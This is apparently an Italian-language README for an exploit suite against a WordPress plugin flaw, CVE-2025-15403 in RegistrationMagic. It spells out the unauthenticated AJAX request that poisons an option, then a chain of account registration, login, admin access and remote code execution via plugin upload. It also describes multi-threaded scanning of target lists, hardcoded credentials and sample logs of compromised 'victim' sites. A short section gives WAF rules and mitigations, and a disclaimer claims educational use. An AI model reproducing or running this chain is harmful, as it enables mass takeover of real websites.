
RegistrationMagic <= 6.0.7.1 - Escalation dei privilegi non autenticata tramite admin_order
RegistrationMagic <= 6.0.7.1 - Escalation dei Privilegi non Autenticata tramite admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 Le informazioni arrivano qui per prime. Segui @KNxploited su Telegram — divulgazioni CVE di precisione, exploit funzionanti e ricerca approfondita sulle vulnerabilità. Il canale per chi non aspetta le notizie — le crea.
CVE-2025-15403 è una vulnerabilità di Escalation dei Privilegi CVSS 9.8 Critica nel plugin RegistrationMagic per WordPress.
Il difetto risiede nella funzione add_menu del plugin, esposta senza autenticazione tramite l'azione AJAX rm_user_exists. Iniettando uno slug vuoto nel parametro order insieme al flag enable_admin_order=yes, un attaccante manipola la logica interna di generazione del menu del plugin. Quando il menu di amministrazione viene successivamente costruito, il plugin chiama silenziosamente add_cap('manage_options') sul ruolo target — elevando qualsiasi account di livello abbonato a piena capacità amministrativa.
La causa principale è che la funzione add_menu è raggiungibile senza autenticazione tramite rm_user_exists, combinata con l'assenza di validazione dello slug admin_order:
// Registrata senza controllo di capacità
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← Controllato dall'utente, NON sanitizzato
$role_key = /* derivato da POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Memorizza l'order controllato dall'attaccante nelle opzioni del plugin
update_option('rm_admin_order', $order); // es. ",menu1" → primo slug vuoto
}
}
// Successivamente, quando viene costruito il menu admin...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Avvelenato dall'attaccante
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Slug vuoto attiva la concessione incondizionata di capacità
$role->add_cap('manage_options'); // ← CAPACITÀ ADMIN COMPLETA AGGIUNTA
}
}
}
Perché è critico:
wp_ajax_nopriv_* = zero autenticazione necessaria per avvelenare l'opzioneorder=,menu1 supera il controllo empty(), attivando add_cap('manage_options')manage_options è la capacità più alta di WordPress — equivalente ad Amministratore╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 1 — Avvelenamento dell'Opzione non Autenticato ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← primo elemento vuoto = slug vuoto
_Subscriber = 1 ← chiave ruolo target
restore = false
enable_admin_order= yes
Risposta: HTTP 200 (qualsiasi risposta non bloccata = opzione avvelenata)
↓ Il plugin memorizza order=",menu1" in wp_options
↓ Al successivo caricamento del menu admin, add_cap('manage_options') viene attivato sul ruolo Abbonato
╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 2 — Acquisizione dell'Account (Abbonato) ║
╚══════════════════════════════════════════════════════════════════════════╝
Opzione A — Registrati tramite il form di registrazione del sito (Modalità 0):
GET /wp-login.php?action=register → rilevamento intelligente del form
POST → crea account abbonato
Credenziali: NXploited / xplpass123
Opzione B — Usa un account abbonato esistente.
╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 3 — Login + Raccolta delle Capacità ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
L'account Abbonato ora possiede manage_options → pannello admin completamente accessibile
╔══════════════════════════════════════════════════════════════════════════╗
║ FASE 4 — Verifica Approfondita e RCE tramite Caricamento Plugin ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Dashboard admin accessibile ✔️
GET /wp-admin/plugin-install.php → Pagina installazione plugin accessibile ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin caricato ed eseguito ✔️
GET /wp-content/plugins/Nxploited/hello.php
La risposta contiene "Nxploited" → RCE CONFERMATO ✔️
Questa suite di exploit fornisce tre modalità distinte per coprire l'intero ciclo di vita dell'attacco:
pip install requests colorama urllib3
Python 3.8+ richiesto. Python 3.10+ consigliato (usa suggerimenti di tipo unione
X | Y).
CVE-2025-15403/
├── CVE-2025-15403.py # Suite principale di exploit
├── list.txt # URL target — uno per riga
│
├── rm_register_results.txt # Modalità 0: registrazioni riuscite
├── rm_exploit_results.txt # Modalità 1 e 2: log primitiva eseguita
├── rm_admin_verify.txt # Modalità 2: log login + verifica admin
├── rm_plugin_uploads.txt # Modalità 2: log tentativo caricamento plugin
│
├── rm_admin_dashboard_success.txt # ✔ Siti dove la dashboard admin è stata confermata
├── rm_plugin_install_access.txt # ✔ Siti dove la pagina plugin-install è accessibile
└── rm_plugin_rce_success.txt # ✔ Siti dove RCE tramite caricamento plugin è confermato
I tre file
_successin basso rappresentano livelli di compromissione graduati — ciascuno viene scritto indipendentemente non appena la sua condizione è confermata.
Crea list.txt con un URL o hostname per riga:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
I nomi host senza schema vengono automaticamente preceduti da
https://. Le installazioni di WordPress in sottodirectory (es./wordpress) vengono rilevate e gestite automaticamente.
python CVE-2025-15403.py
Verranno richiesti interattivamente tutti i parametri. Esempio di sessione per Modalità 2:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtSiti dove l'account abbonato ha accesso a /wp-admin/ dopo l'escalation dei privilegi:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtSiti dove la pagina plugin-install era accessibile (conferma di manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtSiti dove un plugin di test è stato caricato ed eseguito — RCE confermato:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
La Modalità 2 esegue una verifica graduale a tre stadi — ogni stadio è indipendente e scrive il proprio file di risultato:
Stadio 1 — Dashboard Admin
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Controlla: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → scrive in rm_admin_dashboard_success.txt
Stadio 2 — Accesso Pagina Installazione Plugin
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Controlla: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → scrive in rm_plugin_install_access.txt
Stadio 3 — Caricamento ed Esecuzione Reale Plugin (Prova RCE)
Estrai _wpnonce dalla pagina plugin-install
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (generato in memoria)
GET /wp-content/plugins/Nxploited/hello.php
Controlla che il corpo della risposta contenga "Nxploited"
✔ → scrive in rm_plugin_rce_success.txt
Ogni stadio che supera viene registrato indipendentemente — un target che supera lo Stadio 1 ma non lo Stadio 3 viene comunque catturato in rm_admin_dashboard_success.txt.
La Modalità 0 utilizza un parser HTML personalizzato per rilevare automaticamente e inviare i form di registrazione WordPress — inclusi i form personalizzati di RegistrationMagic:
Probe URL (in ordine):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
Per ogni pagina:
→ Analizza tutti gli elementi <form>
→ Assegna un punteggio a ciascun form (0–200 punti):
+100 campi "user_login" + "user_email" presenti
+ 60 Campi simili a email + username presenti
+ 30 Campi di input con prefisso rm_* (specifici di RegistrationMagic)
+ 20 id/class del form contiene "register" / "signup"
+ 10 Il corpo della pagina menziona "register" / "sign up"
→ Invia il form con punteggio più alto (soglia: 40+)
→ Verifica il successo tramite corpo della risposta / URL di reindirizzamento
Pattern di rete generato dall'exploit — per difensori e autori di WAF/IDS:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
Regola WAF / IDS (Pseudocodice):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOC + ALLARMA (Tentativo di Escalation dei Privilegi — CVE-2025-15403)
Rilevamento aggiuntivo — Avvelenamento Opzione:
Monitora tabella wp_options:
IF option_name = "rm_admin_order"
AND option_value INIZIA CON ","
THEN ALLARMA — potenziale sfruttamento di CVE-2025-15403
Se sei un proprietario del sito, sviluppatore o difensore, agisci immediatamente:
wp_options — verifica il valore di rm_admin_order per voci sospette (es. che iniziano con ,)manage_optionswp_ajax_nopriv_* — non esporre mai funzioni di scrittura opzioni senza autenticazioneorder — rifiuta valori contenenti segmenti di slug vuotiadmin-ajax.php contenenti rm_options_admin_menu a livello WAFrm_user_exists da fonti non autenticateQUESTO STRUMENTO È FORNITO STRETTAMENTE SOLO PER SCOPI EDUCATIVI,
DI PENETRATION TEST AUTORIZZATO E RICERCA SULLA SICUREZZA.
Scaricando, eseguendo o modificando questo script, accetti esplicitamente:
• Di avere l'AUTORIZZAZIONE ESPLICITA E SCRITTA del proprietario di ogni
sistema target che testi. Nessuna eccezione. Nessuna supposizione.
• Di operare nell'ambito di un engagement di penetration test formalmente
autorizzato e circoscritto o di un ambiente di laboratorio controllato di
tua proprietà.
• Di NON utilizzare questo strumento contro alcun sistema, rete o
infrastruttura senza autorizzazione legale documentata.
• Nxploited e tutti i contributori NON si assumono ALCUNA responsabilità
per uso non autorizzato, perdita di dati, danni al sistema, procedimenti
legali o azioni penali derivanti dall'uso di questo strumento in qualsiasi
forma.
L'uso non autorizzato di questo exploit costituisce reato penale ai sensi di:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), Regno Unito
— Direttiva UE 2013/40/UE sugli attacchi ai sistemi informativi
— Legge anticrimine informatico dell'Arabia Saudita (N. M/17)
— E tutte le equivalenti legislazioni nazionali e internazionali sul crimine informatico.
USA IN MODO RESPONSABILE. HACK IN MODO ETICO. DIVULGA IN MODO RESPONSABILE.
| Handle | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Segui @KNxploited su Telegram Nuove CVE. Exploit funzionanti. Nessun rumore. Nessun ritardo. Il canale dove i ricercatori seri rimangono affilati.
| Campo | Dettagli |
|---|
| CVE ID | CVE-2025-15403 |
| Plugin | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Versioni Affette | Tutte le versioni fino alla 6.0.7.1 inclusa |
| Tipo di vulnerabilità | Escalation dei Privilegi non Autenticata |
| Requisito dell'attacco | Fase AJAX: Nessuna. Sfruttamento: Account Abbonato |
| Vettore d'attacco | Rete |
| Punteggio CVSS 3.1 | 9.8 CRITICAL |
| Vettore CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impatto | Acquisizione Completa dell'Amministratore WordPress |
| Ricercatore | Nxploited |
| Modalità | Nome | Descrizione |
|---|
0 | Solo Registrazione | Rilevamento intelligente del form WordPress + registrazione account abbonato |
1 | Solo Exploit | Scatena la primitiva AJAX non autenticata per avvelenare admin_order |
2 | Exploit + Login + Verifica | Catena completa: primitiva → login → dashboard admin → installazione plugin → RCE |
| Dipendenza | Scopo |
|---|
requests | Sessioni HTTP, gestione cookie, tracciamento reindirizzamenti |
colorama | Output terminale colorato multipiattaforma |
urllib3 | Soppressione avvisi SSL per certificati autofirmati |
concurrent.futures | Pool di thread per scansione multi-target ad alto rendimento |
zipfile | Generazione in memoria di ZIP plugin di test per verifica RCE |
html.parser | Rilevamento intelligente form di registrazione ed estrazione campi |
| Colore | Tag | Significato |
|---|
| 🔵 Ciano | info | Informativo — avvio modalità, configurazione |
| 🟢 Verde | ok | Successo completo — accesso admin o RCE confermato |
| 🟡 Giallo | warn | Risultato parziale — primitiva OK ma login fallito, ecc. |
| 🔴 Rosso | err | Fallimento grave — file non trovato, eccezione, bloccato |
| Parametro | Default | Descrizione |
|---|
| Modalità | 0 | Modalità d'attacco: 0 = Register, 1 = Exploit, 2 = Full Chain |
| File target | list.txt | File contenente gli URL target |
| Thread | 5 (nessun max) | Worker del ThreadPoolExecutor concorrenti |
| Timeout | 10 secondi | Timeout per richiesta HTTP |
| Chiave ruolo | _Subscriber | Ruolo WordPress da escalare (_Editor, _Author, ecc.) |
| Username | NXploited | Account con cui registrarsi / fare login |
| Password | xplpass123 | Password per l'account |
| Invia primitiva | yes | Se inviare la fase AJAX prima del login in Modalità 2 |